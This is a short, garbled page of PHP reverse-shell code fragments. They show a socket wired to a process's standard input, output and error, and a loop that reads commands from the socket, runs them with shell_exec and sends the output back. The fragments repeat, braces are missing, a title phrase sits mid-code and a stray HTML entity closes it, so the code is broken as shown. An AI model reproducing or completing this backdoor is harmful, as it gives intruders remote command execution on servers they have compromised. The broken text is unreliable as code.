Php: Reverse Shell

if (!$sock) echo "Error: $errstr ($errno)"; exit();

// Spawn a shell process $descriptorspec = [ 0 => $sock, // stdin 1 => $sock, // stdout 2 => $sock // stderr ]; Reverse Shell Php

while (true) $cmd = fgets($sock); if ($cmd) $output = shell_exec($cmd); fwrite($sock, $output); sleep(2); // Polite interrupt if (!$sock) echo "Error: $errstr ($errno)"

else fwrite($sock, "No command execution functions available"); // stdin 1 =&gt